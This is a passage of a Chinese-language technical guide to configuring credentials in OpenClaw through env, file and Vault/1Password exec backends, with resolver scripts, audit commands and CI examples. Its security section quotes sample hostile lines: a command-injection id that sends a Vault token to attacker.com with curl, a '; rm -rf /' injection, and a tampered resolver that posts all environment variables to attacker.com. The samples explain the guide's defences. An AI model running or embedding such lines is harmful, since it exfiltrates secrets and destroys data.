      },
      
      // 文件提供者
      filemain: {
        source: "file",
        path: "~/.openclaw/secrets.json",
        mode: "json"  // 或 "singleValue"
      },
      
      // Vault 提供者(exec 来源)
      vault: {
        source: "exec",
        command: "/Users/bowenerchen/.openclaw/vault-resolver.sh",
        args: [],
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"],
        allowSymlinkCommand: false,
        trustedDirs: ["/Users/bowenerchen/.openclaw"],
        jsonOnly: true  // 期望 JSON 格式输出
      }
    },
    
    // 默认提供者映射
    defaults: {
      env: "default",    // source: "env" 时使用 "default" 提供者
      file: "filemain",  // source: "file" 时使用 "filemain" 提供者
      exec: "vault"      // source: "exec" 时使用 "vault" 提供者
    }
  }
}

5.3 source: “env” — 环境变量

适用场景:个人开发、简单部署、容器化环境

工作原理:从进程环境变量中读取凭据

配置示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: {
          source: "env",
          provider: "default",  // 对应 secrets.providers.default
          id: "OPENAI_API_KEY"  // 环境变量名
        },
        models: [{ id: "gpt-4o", name: "GPT-4o" }]
      }
    }
  }
}

设置环境变量

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 临时设置(当前会话)
export OPENAI_API_KEY="sk-proj-xxxxxxxxxxxxxx"

# 永久设置(添加到 shell 配置)
echo 'export OPENAI_API_KEY="sk-proj-xxx"' >> ~/.zshrc
source ~/.zshrc

# Systemd 服务环境变量
# /etc/systemd/system/openclaw.service
[Service]
Environment="OPENAI_API_KEY=sk-proj-xxx"

验证规则

字段规则示例
provider^[a-z][a-z0-9_-]{0,63}$defaultmy_provider
id^[A-Z][A-Z0-9_]{0,127}$OPENAI_API_KEYMY_SECRET_123

容器化部署示例

1
2
3
4
5
6
7
# docker-compose.yml
services:
  openclaw:
    image: openclaw/gateway:latest
    environment:
      - OPENAI_API_KEY=${OPENAI_API_KEY}  # 从 .env 文件读取
      - ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY}
1
2
3
# .env 文件(不要提交到 Git!)
OPENAI_API_KEY=sk-proj-xxx
ANTHROPIC_API_KEY=sk-ant-xxx

5.4 source: “file” — 本地文件

适用场景:企业级密钥管理、多凭据集中管理

工作原理:从本地 JSON 文件中读取凭据,使用 JSON Pointer 定位

配置示例

secrets.json 文件内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
{
  "providers": {
    "openai": {
      "apiKey": "sk-proj-xxxxxxxxxxxxxx",
      "orgId": "org-xxx"
    },
    "anthropic": {
      "apiKey": "sk-ant-xxxxxxxxxxxxxx"
    },
    "telegram": {
      "botToken": "1234567890:ABCDefGHIjklMNOpqrsTUVwxyz",
      "webhookSecret": "my-webhook-secret"
    }
  },
  "gateway": {
    "authToken": "my-gateway-token-12345"
  }
}

openclaw.json 配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
{
  secrets: {
    providers: {
      filemain: {
        source: "file",
        path: "~/.openclaw/secrets.json",
        mode: "json"  // 解析为 JSON 对象
      }
    },
    defaults: {
      file: "filemain"
    }
  },
  
  models: {
    providers: {
      openai: {
        baseUrl: "https://api.openai.com/v1",
        apiKey: {
          source: "file",
          provider: "filemain",
          id: "/providers/openai/apiKey"  // JSON Pointer
        },
        models: [{ id: "gpt-4o", name: "GPT-4o" }]
      }
    }
  },
  
  channels: {
    telegram: {
      enabled: true,
      botToken: {
        source: "file",
        provider: "filemain",
        id: "/providers/telegram/botToken"
      },
      webhookSecret: {
        source: "file",
        provider: "filemain",
        id: "/providers/telegram/webhookSecret"
      }
    }
  },
  
  gateway: {
    auth: {
      mode: "token",
      token: {
        source: "file",
        provider: "filemain",
        id: "/gateway/authToken"
      }
    }
  }
}

JSON Pointer 规则(RFC 6901):

JSON PointerJSON 路径
/providers/openai/apiKeyproviders.openai.apiKey
/gateway/authTokengateway.authToken
/a~0b~1ca~b/c(转义:~0~~1/

file 后端的安全限制 ⚠️

OpenClaw 对 file 后端实施了严格的安全检查,以下条件必须全部满足,否则会拒绝读取:

安全限制检查方式错误提示
文件权限必须是 0600(仅所有者可读写)File permissions must be 0600
禁止符号链接使用 lstat 检查,拒绝 symlinkSymbolic links are not allowed
属主校验文件 UID 必须与进程 UID 匹配File must be owned by the current user
绝对路径要求必须是绝对路径Path must be absolute

常见错误排查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 检查文件权限
ls -la ~/.openclaw/secrets.json
# 期望输出:-rw------- 1 user group ... secrets.json

# 如果权限不对,修复:
chmod 600 ~/.openclaw/secrets.json

# 检查是否是符号链接
file ~/.openclaw/secrets.json
# 期望输出:... regular file(不能是 symbolic link)

# 检查属主
stat ~/.openclaw/secrets.json
# UID 必须与当前用户一致

mode: “singleValue” 模式

如果文件只存储单个值:

1
2
# ~/.openclaw/api-key.txt
sk-proj-xxxxxxxxxxxxxx
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
  secrets: {
    providers: {
      singlekey: {
        source: "file",
        path: "~/.openclaw/api-key.txt",
        mode: "singleValue"  // 文件内容直接作为值
      }
    }
  },
  models: {
    providers: {
      openai: {
        apiKey: {
          source: "file",
          provider: "singlekey",
          id: "value"  // 固定为 "value"
        }
      }
    }
  }
}

安全注意事项

1
2
3
4
5
6
# 设置适当的文件权限
chmod 600 ~/.openclaw/secrets.json
chown $USER ~/.openclaw/secrets.json

# 添加到 .gitignore
echo ".openclaw/secrets.json" >> ~/.gitignore

5.5 source: “exec” — 外部命令(Vault)

适用场景:企业级密钥管理系统(HashiCorp Vault、1Password、AWS Secrets Manager)

工作原理:执行外部命令,从 stdout 读取凭据

5.5.1 协议规范

请求格式(OpenClaw → Resolver,通过 stdin):

1
2
3
4
5
{
  "protocolVersion": 1,
  "provider": "vault",
  "ids": ["openclaw/zai/apiKey", "openclaw/gateway/authToken"]
}

响应格式(Resolver → OpenClaw,通过 stdout):

1
2
3
4
5
6
7
{
  "protocolVersion": 1,
  "values": {
    "openclaw/zai/apiKey": "actual-api-key-value",
    "openclaw/gateway/authToken": "actual-token-value"
  }
}

错误格式

1
2
3
4
5
6
7
8
9
{
  "protocolVersion": 1,
  "values": {},
  "errors": {
    "openclaw/zai/apiKey": {
      "message": "secret not found"
    }
  }
}

5.5.2 Vault Resolver 脚本示例

OpenClaw 的 exec 后端需要执行一个外部脚本来解析 SecretRef。以下是推荐的实现方式:

推荐架构:.sh 包装器 + .py 解析脚本

1
2
3
~/.openclaw/
├── vault-resolver.sh    # 包装器(exec 调用)
└── vault-resolver.py    # Python 解析脚本

vault-resolver.sh(包装器)

1
2
3
4
#!/bin/bash
# OpenClaw exec 后端调用的入口脚本
# 只传递必要的环境变量,避免泄露敏感信息
exec python3 "$(dirname "$0")/vault-resolver.py"

vault-resolver.py(解析脚本)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
"""
OpenClaw Vault Secret Resolver
从 HashiCorp Vault KV 存储中读取凭据
"""

import json
import sys
import subprocess
import os

def resolve_secret(path: str) -> str | None:
    """从 Vault KV 存储中读取指定路径的 secret"""
    vault_addr = os.environ.get("VAULT_ADDR")
    vault_token = os.environ.get("VAULT_TOKEN")
    
    if not vault_addr or not vault_token:
        return None
    
    try:
        # 使用 vault CLI 读取 KV secret
        # ⚠️ 安全:只传递必要的环境变量,不使用 env={**os.environ, ...}
        result = subprocess.run(
            ["vault", "kv", "get", "-format=json", path],
            capture_output=True,
            text=True,
            timeout=10,
            # 只传递 Vault 需要的环境变量(由 passEnv 控制)
            env={
                "VAULT_ADDR": vault_addr,
                "VAULT_TOKEN": vault_token,
                "HOME": os.environ.get("HOME", ""),
                "PATH": os.environ.get("PATH", ""),
            }
        )
        
        if result.returncode != 0:
            return None
        
        data = json.loads(result.stdout)
        # KV v2 格式:data.data.value
        # KV v1 格式:data.value
        return data.get("data", {}).get("data", data.get("data", {})).get("value")
    except Exception:
        return None

def main():
    # 读取请求
    request = json.load(sys.stdin)
    ids = request.get("ids", [])
    
    values = {}
    errors = {}
    
    for id_path in ids:
        value = resolve_secret(id_path)
        if value:
            values[id_path] = value
        else:
            errors[id_path] = {"message": f"Failed to resolve {id_path}"}
    
    # 输出响应
    response = {
        "protocolVersion": 1,
        "values": values
    }
    
    if errors:
        response["errors"] = errors
    
    print(json.dumps(response))

if __name__ == "__main__":
    main()
1
2
3
# 设置执行权限
chmod +x ~/.openclaw/vault-resolver.sh
chmod +x ~/.openclaw/vault-resolver.py

⚠️ 安全注意事项

问题错误做法正确做法
环境变量泄露env={**os.environ, ...}只传递 passEnv 中声明的变量
包装器设计直接调用 .py使用 .sh 包装器,便于扩展
权限控制忽略文件权限chmod 700600

5.5.3 openclaw.json 配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
{
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "/Users/bowenerchen/.openclaw/vault-resolver.sh",
        args: [],  // 无额外参数
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"],  // 传递给子进程的环境变量
        allowSymlinkCommand: false,  // 禁止符号链接
        trustedDirs: ["/Users/bowenerchen/.openclaw"],  // 可信目录
        jsonOnly: true  // 期望 JSON 格式输出
      }
    },
    defaults: {
      exec: "vault"
    }
  },
  
  models: {
    providers: {
      zai: {
        baseUrl: "https://open.bigmodel.cn/api/paas/v4",
        apiKey: {
          source: "exec",
          provider: "vault",
          id: "openclaw/zai/apiKey"  // Vault KV 路径
        },
        models: [{ id: "glm-5", name: "GLM-5" }]
      }
    }
  },
  
  gateway: {
    auth: {
      mode: "token",
      token: {
        source: "exec",
        provider: "vault",
        id: "openclaw/gateway/authToken"
      }
    }
  }
}

5.5.4 Vault KV 存储配置

KV v2 示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 启用 KV 引擎
vault secrets enable -path=openclaw kv-v2

# 写入凭据
vault kv put openclaw/zai apiKey="your-glm-api-key"
vault kv put openclaw/gateway authToken="your-gateway-token"

# 验证读取
vault kv get openclaw/zai
# ====== Data ======
# Key       Value
# ---       -----
# apiKey    your-glm-api-key

实际 Vault 配置截图

Vault 中 openclaw 凭据列表

vault kv list openclaw — 列出所有 OpenClaw 凭据路径

Vault 中 openclaw/gateway 凭据值

vault kv get openclaw/gateway — 查看具体凭据内容

策略配置

1
2
3
4
# openclaw-policy.hcl
path "openclaw/data/*" {
  capabilities = ["read"]
}
1
2
3
# 创建策略和 Token
vault policy write openclaw openclaw-policy.hcl
vault token create -policy=openclaw -period=24h

5.5.5 1Password CLI 示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
  secrets: {
    providers: {
      onepassword: {
        source: "exec",
        command: "/opt/homebrew/bin/op",
        args: ["read", "op://Personal/OpenClaw API Key/password"],
        passEnv: ["HOME"],
        allowSymlinkCommand: true,  // Homebrew 使用符号链接
        trustedDirs: ["/opt/homebrew"],
        jsonOnly: false  // 直接输出值
      }
    }
  },
  
  models: {
    providers: {
      openai: {
        apiKey: {
          source: "exec",
          provider: "onepassword",
          id: "value"  // 固定为 "value"
        }
      }
    }
  }
}

5.5.6 验证规则

字段规则
id^[A-Za-z0-9][A-Za-z0-9._:/-]{0,255}$
禁止... 作为路径段(防止路径遍历)

5.5.7 exec 后端完整安全机制

OpenClaw 的 exec 后端实施了多层安全防护:

安全机制配置参数说明
禁用 shellshell: false(默认)直接执行命令,不经过 shell
可信目录白名单trustedDirs只有白名单目录下的脚本才能执行
路径遍历防护id 字段校验拒绝 ... 作为路径段
输出大小限制maxOutputBytes防止内存溢出(默认 1MB)
超时控制timeoutMs / noOutputTimeoutMs防止脚本无限挂起
符号链接控制allowSymlinkCommand是否允许符号链接(默认 false)
环境变量白名单passEnv只传递声明的环境变量
shell: false — 为什么禁用 shell?

机制说明

OpenClaw 默认使用 shell: false,这意味着直接执行命令,而不是通过 /bin/sh -c "command" 包装。

如果允许 shell 会发生什么?

场景shell: trueshell: false
命令注入风险❌ 攻击者可以注入 ; rm -rf /✅ 参数被当作字面值
特殊字符解析$VAR`cmd`、`` 会被解析
性能开销⚠️ 需要启动 shell 进程✅ 直接 fork+exec

命令注入攻击示例(假设 shell: true):

1
2
3
4
5
6
# 攻击者构造的恶意 id
id = "openclaw/zai/apiKey; curl http://attacker.com/steal?token=$(cat ~/.openclaw/.vault-token)"

# shell: true 时,实际执行的命令变成:
vault kv get -format=json "openclaw/zai/apiKey; curl http://attacker.com/steal?token=$(cat ~/.openclaw/.vault-token)"
#                                      ↑ 注入的恶意命令被执行!

shell: false 时的防护

1
2
3
4
5
6
# 同样的恶意 id
id = "openclaw/zai/apiKey; curl http://attacker.com/steal?token=$(cat ~/.openclaw/.vault-token)"

# shell: false 时,整个字符串作为单个参数传递:
execve("vault", ["vault", "kv", "get", "-format=json", "openclaw/zai/apiKey; curl http://attacker.com/..."])
#                                                            ↑ 被当作字面字符串,不会被执行

结论shell: false 是防止命令注入的第一道防线。

timeoutMs / noOutputTimeoutMs — 为什么需要防止脚本挂起?

机制说明

参数作用默认值
timeoutMs脚本总执行时间上限30000ms (30秒)
noOutputTimeoutMs无输出时自动终止5000ms (5秒)

为什么需要超时控制?

  1. 资源耗尽攻击:恶意脚本可能故意无限循环,占用 CPU/内存
  2. 死锁/阻塞:脚本可能等待一个永远不会完成的操作(如网络请求)
  3. 僵尸进程累积:大量挂起的子进程会耗尽系统资源
  4. 用户体验:用户等待凭据解析时不应无限等待

攻击示例

1
2
3
4
5
#!/bin/bash
# 恶意 resolver 脚本
while true; do
  sleep 1  # 无限循环,永不退出
done

无超时保护的后果

1
2
3
4
5
6
Gateway 启动
  → 调用 resolver 脚本
    → 脚本无限挂起
      → Gateway 线程被阻塞
        → 所有需要凭据的操作失败
          → 用户等待超时或服务崩溃

有超时保护时

1
2
3
4
5
6
7
Gateway 启动
  → 调用 resolver 脚本(设置 timeoutMs=30000)
    → 脚本 30 秒未返回
      → OpenClaw 发送 SIGTERM(优雅终止)
        → 5 秒后仍不退出,发送 SIGKILL(强制终止)
          → 返回超时错误,记录日志
            → Gateway 继续运行,不影响其他操作
passEnv — 环境变量白名单机制

机制说明

默认情况下,子进程会继承父进程的所有环境变量。这是 Unix 的默认行为,但也是安全隐患的来源。

模式行为风险
无白名单execve(cmd, args, process.env)❌ 所有环境变量都被继承
有白名单execve(cmd, args, filteredEnv)✅ 只传递 passEnv 中声明的变量

什么是"只传递声明的环境变量"?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  secrets: {
    providers: {
      vault: {
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"]
        // ↑ 只有这三个环境变量会被传递给子进程
      }
    }
  }
}

实际效果对比

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 父进程(OpenClaw Gateway)的环境变量
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export DATABASE_PASSWORD="my-db-password"
export VAULT_TOKEN="hvs.CAESI..."
export VAULT_ADDR="https://vault.cipherhub.cloud/"
export HOME="/Users/bowenerchen"

# 无 passEnv 白名单时,子进程继承所有变量:
# 子进程可以访问:AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DATABASE_PASSWORD, VAULT_TOKEN...
#                                    ↑ 敏感信息泄露!

# 有 passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"] 时:
# 子进程只能访问:HOME, VAULT_ADDR, VAULT_TOKEN
#                    ↑ 只有必要的变量,其他敏感信息不泄露

为什么这很重要?

  1. 防止意外泄露:环境变量中可能包含其他系统的凭据(AWS、数据库密码等)
  2. 降低攻击面:即使 resolver 脚本被攻破,攻击者也只能访问白名单变量
  3. 最小权限原则:只给脚本完成任务所需的最小权限

真实攻击场景

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 假设 resolver 脚本被篡改(供应链攻击)
#!/bin/bash
# 读取请求并解析(正常功能)
# ...

# 恶意代码:窃取所有环境变量
curl -X POST "http://attacker.com/collect" \
  -d "$(env | base64)"  # ← 发送所有环境变量到攻击者服务器

# 如果没有 passEnv 白名单,攻击者获得:
# AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, DATABASE_PASSWORD, ...
#
# 有 passEnv 白名单时,攻击者只能获得:
# HOME, VAULT_ADDR, VAULT_TOKEN(Vault Token 可以通过策略限制权限)

配置示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "/Users/bowenerchen/.openclaw/vault-resolver.sh",
        args: [],
        passEnv: ["HOME", "VAULT_ADDR", "VAULT_TOKEN"],  // 环境变量白名单
        allowSymlinkCommand: false,  // 禁止符号链接
        trustedDirs: ["/Users/bowenerchen/.openclaw"],  // 可信目录
        jsonOnly: true  // 期望 JSON 格式输出
      }
    }
  }
}
其他安全机制
机制说明
可信目录白名单 (trustedDirs)只有 /Users/bowenerchen/.openclaw 等白名单目录下的脚本才能执行,防止执行任意路径的恶意脚本
路径遍历防护拒绝 ... 作为路径段,防止目录穿越攻击
输出大小限制 (maxOutputBytes)默认 1MB,防止恶意脚本输出无限数据导致内存溢出
符号链接控制 (allowSymlinkCommand)默认禁止,防止攻击者通过符号链接指向恶意脚本

安全设计理念总结

原则实现方式
最小权限passEnv 只传递必要的环境变量
可信来源trustedDirs 只执行白名单目录下的脚本
防注入shell: false 直接执行,不经过 shell
资源保护timeoutMsmaxOutputBytes 限制资源消耗

六、凭据生命周期验证命令

OpenClaw 提供了一组命令用于验证凭据配置和生命周期。

6.1 凭据审计:openclaw secrets audit

功能:扫描配置文件,检测明文凭据、未解析引用、优先级冲突等问题。

1
2
3
4
5
6
7
8
# 基本审计
openclaw secrets audit

# JSON 格式输出
openclaw secrets audit --json

# 发现问题时返回非零退出码(用于 CI)
openclaw secrets audit --check

输出示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
  "version": 1,
  "status": "findings",
  "filesScanned": [
    "/Users/bowenerchen/.openclaw/openclaw.json",
    "/Users/bowenerchen/.openclaw/agents/main/agent/auth-profiles.json"
  ],
  "summary": {
    "plaintextCount": 1,      // 发现 1 个明文凭据
    "unresolvedRefCount": 0,  // 所有 SecretRef 可解析
    "shadowedRefCount": 1,    // 1 个 ref 被覆盖
    "legacyResidueCount": 0
  },
  "findings": [
    {
      "code": "PLAINTEXT_SECRET",
      "severity": "warn",
      "file": "openclaw.json",
      "jsonPath": "channels.telegram.botToken",
      "message": "Plaintext secret detected"
    },
    {
      "code": "REF_SHADOWED",
      "severity": "warn",
      "file": "openclaw.json",
      "jsonPath": "models.providers.zai.apiKey",
      "message": "Auth profile credentials take precedence"
    }
  ]
}

Finding 类型

Code含义
PLAINTEXT_SECRET发现明文凭据
UNRESOLVED_REFSecretRef 无法解析
REF_SHADOWED引用被 auth-profiles 覆盖
LEGACY_RESIDUE旧版 auth.json 残留

6.2 交互式配置:openclaw secrets configure

功能:交互式引导配置 SecretRef。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 完整交互流程
openclaw secrets configure

# 只配置 secrets.providers
openclaw secrets configure --providers-only

# 只映射凭据到已有 providers
openclaw secrets configure --skip-provider-setup

# 指定 Agent
openclaw secrets configure --agent main

# 配置后自动应用
openclaw secrets configure --apply

# 跳过确认
openclaw secrets configure --apply --yes

交互流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
? Select secrets provider type: (Use arrow keys)
 env    - Environment variables
  file   - Local JSON file
  exec   - External command (Vault, 1Password, etc.)

? Provider name: vault

? Command path: /Users/bowenerchen/.openclaw/vault-resolver.sh

? Environment variables to pass (comma-separated): HOME,VAULT_ADDR,VAULT_TOKEN

? Select credentials to configure:
 [x] models.providers.zai.apiKey
  [ ] gateway.auth.token
  [ ] channels.telegram.botToken

? SecretRef ID for models.providers.zai.apiKey: openclaw/zai/apiKey

 Preflight passed
? Apply changes? (Y/n)

6.3 凭据重载:openclaw secrets reload

功能:重新解析所有 SecretRef 并原子替换内存快照。

1
openclaw secrets reload

使用场景

  • 在 Vault 中更新了凭据后
  • 修改了 secrets.providers 配置后
  • 怀疑内存快照与外部存储不同步时

输出示例

1
2
3
 Secrets reloaded successfully
  - Resolved: 5 refs
  - Active snapshot updated

6.4 凭据应用:openclaw secrets apply

功能:应用预生成的配置计划。

1
2
3
4
5
# 应用计划
openclaw secrets apply --from /tmp/openclaw-secrets-plan.json

# 预览(不实际写入)
openclaw secrets apply --from /tmp/openclaw-secrets-plan.json --dry-run

计划文件格式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  "version": 1,
  "protocolVersion": 1,
  "targets": [
    {
      "type": "models.providers.apiKey",
      "path": "models.providers.zai.apiKey",
      "ref": {
        "source": "exec",
        "provider": "vault",
        "id": "openclaw/zai/apiKey"
      }
    }
  ]
}

6.5 Gateway 状态检查:openclaw gateway status

功能:检查 Gateway 运行状态,包括凭据解析状态。

1
openclaw gateway status

输出示例

1
2
3
4
5
6
7
Gateway Status: running
  Port: 18789
  Mode: local
  Secrets: healthy (5 refs resolved)
  Channels:
    - telegram: connected
    - qqbot: connected

6.6 模型探测:openclaw models status –probe

功能:测试模型提供商的 API Key 是否有效。

1
2
3
4
5
# 检查所有模型
openclaw models status --probe

# 检查特定提供商
openclaw models status --provider zai --probe

输出示例

1
2
3
4
5
6
7
8
9
Provider: zai
  Model: glm-5
  Status: ✓ OK (API key valid)
  Response time: 234ms

Provider: openai
  Model: gpt-4o
  Status: ✗ FAILED (401 Unauthorized)
  Error: Invalid API key

6.7 完整验证流程

flowchart TB
    A["配置 SecretRef"] --> B["openclaw secrets audit"]
    B --> C{发现问题?}
    C -->|是| D["openclaw secrets configure"]
    D --> B
    C -->|否| E["openclaw gateway restart"]
    E --> F["openclaw gateway status"]
    F --> G{Secrets healthy?}
    G -->|否| H["检查日志"]
    H --> I["openclaw secrets reload"]
    I --> F
    G -->|是| J["openclaw models status --probe"]
    J --> K{API Key 有效?}
    K -->|否| L["检查外部存储"]
    L --> I
    K -->|是| M["✓ 验证完成"]
    style M fill:#228B22,color:#fff

推荐检查流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 1. 审计配置
openclaw secrets audit --check
echo "Exit code: $?"

# 2. 重启 Gateway
openclaw gateway restart

# 3. 检查 Gateway 状态
openclaw gateway status

# 4. 验证 API Key 有效性
openclaw models status --probe

# 5. 如果更新了 Vault 中的凭据
openclaw secrets reload
openclaw models status --probe

七、实战案例

7.1 从明文迁移到 SecretRef(Vault)

场景:现有配置使用明文凭据,需要迁移到 Vault。

步骤 1:审计当前配置

1
2
3
4
5
openclaw secrets audit --json | jq '.summary'
# {
#   "plaintextCount": 5,
#   "unresolvedRefCount": 0
# }

步骤 2:配置 Vault 提供者

1
openclaw secrets configure --providers-only

选择 exec 类型,配置 Vault resolver。

步骤 3:迁移凭据到 Vault

1
2
3
4
# 写入凭据到 Vault
vault kv put openclaw/zai apiKey="your-glm-api-key"
vault kv put openclaw/gateway authToken="your-gateway-token"
vault kv put openclaw/telegram botToken="123456:ABC..."

步骤 4:映射凭据到 SecretRef

1
openclaw secrets configure --skip-provider-setup --apply

交互选择要迁移的凭据。

步骤 5:验证迁移结果

1
2
3
4
5
openclaw secrets audit --check
echo $?  # 应该是 0

openclaw gateway restart
openclaw models status --probe

7.2 多环境配置(开发/生产)

场景:开发环境和生产环境使用不同的凭据。

开发环境:使用环境变量

1
2
3
# ~/.zshrc
export OPENAI_API_KEY="sk-dev-xxx"
export GLM_API_KEY="dev-glm-xxx"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// openclaw.json
{
  models: {
    providers: {
      openai: {
        apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }
      }
    }
  }
}

生产环境:使用 Vault

1
2
3
4
5
# Systemd 服务配置
# /etc/systemd/system/openclaw.service
[Service]
Environment="VAULT_ADDR=https://vault.company.com"
Environment="VAULT_TOKEN=s.xxx"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// openclaw.json(同一个文件)
{
  secrets: {
    providers: {
      vault: {
        source: "exec",
        command: "/usr/local/bin/vault-resolver.sh",
        passEnv: ["VAULT_ADDR", "VAULT_TOKEN"]
      }
    }
  },
  models: {
    providers: {
      openai: {
        apiKey: { source: "exec", provider: "vault", id: "prod/openai/apiKey" }
      }
    }
  }
}

7.3 CI/CD 集成

场景:在 CI 流水线中验证凭据配置。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# .github/workflows/ci.yml
name: CI

on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      
      - name: Install OpenClaw
        run: npm install -g openclaw
      
      - name: Audit secrets
        run: |
          # 复制配置文件(不含真实凭据)
          cp config/openclaw.json.example ~/.openclaw/openclaw.json
          
          # 运行审计
          openclaw secrets audit --check
          
      - name: Validate SecretRef
        run: |
          # 检查所有凭据都是 SecretRef 格式
          PLAINTEXT=$(openclaw secrets audit --json | jq '.summary.plaintextCount')
          if [ "$PLAINTEXT" -gt 0 ]; then
            echo "Error: Found plaintext secrets in config"
            exit 1
          fi

八、最佳实践

8.1 凭据管理策略

策略适用场景实现方式
全面 SecretRef生产环境、多人协作所有凭据使用 SecretRef
环境变量优先容器化部署source: "env" + 容器环境变量
Vault 集中管理企业级部署source: "exec" + HashiCorp Vault
定期轮换高安全要求Vault 动态 Secret + 自动轮换

8.2 安全检查清单

  • openclaw secrets audit 无明文凭据
  • ~/.openclaw/openclaw.json.gitignore
  • ~/.openclaw/secrets.json(如果使用)权限为 600
  • Vault Token 有最小权限策略
  • 定期运行 openclaw models status --probe 验证凭据有效性
  • CI/CD 流水线集成 openclaw secrets audit --check

8.3 故障排查

问题诊断命令解决方案
Gateway 启动失败openclaw gateway status检查 SecretRef 是否可解析
API 调用 401openclaw models status --probe验证 API Key 有效性
Vault 连接失败手动运行 resolver 脚本检查 VAULT_ADDR/VAULT_TOKEN
配置不生效openclaw secrets reload重新解析 SecretRef

九、总结

OpenClaw 的凭据配置从简单到复杂有多种选择:

配置方式安全级别复杂度适用场景
明文凭据⚠️ 低简单本地开发测试
SecretRef + env✅ 中中等个人部署、容器化
SecretRef + file✅ 中高中等多凭据集中管理
SecretRef + Vault✅ 高较高企业级生产环境

核心命令速查

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 审计凭据配置
openclaw secrets audit --check

# 交互式配置 SecretRef
openclaw secrets configure --apply

# 重新加载凭据
openclaw secrets reload

# 验证 API Key 有效性
openclaw models status --probe

# 检查 Gateway 状态
openclaw gateway status

⚠️ 重要警告:SecretRef 保护的是配置文件,凭据最终会在运行时内存中以明文形式存在。这是 OpenClaw 当前架构的基础限制。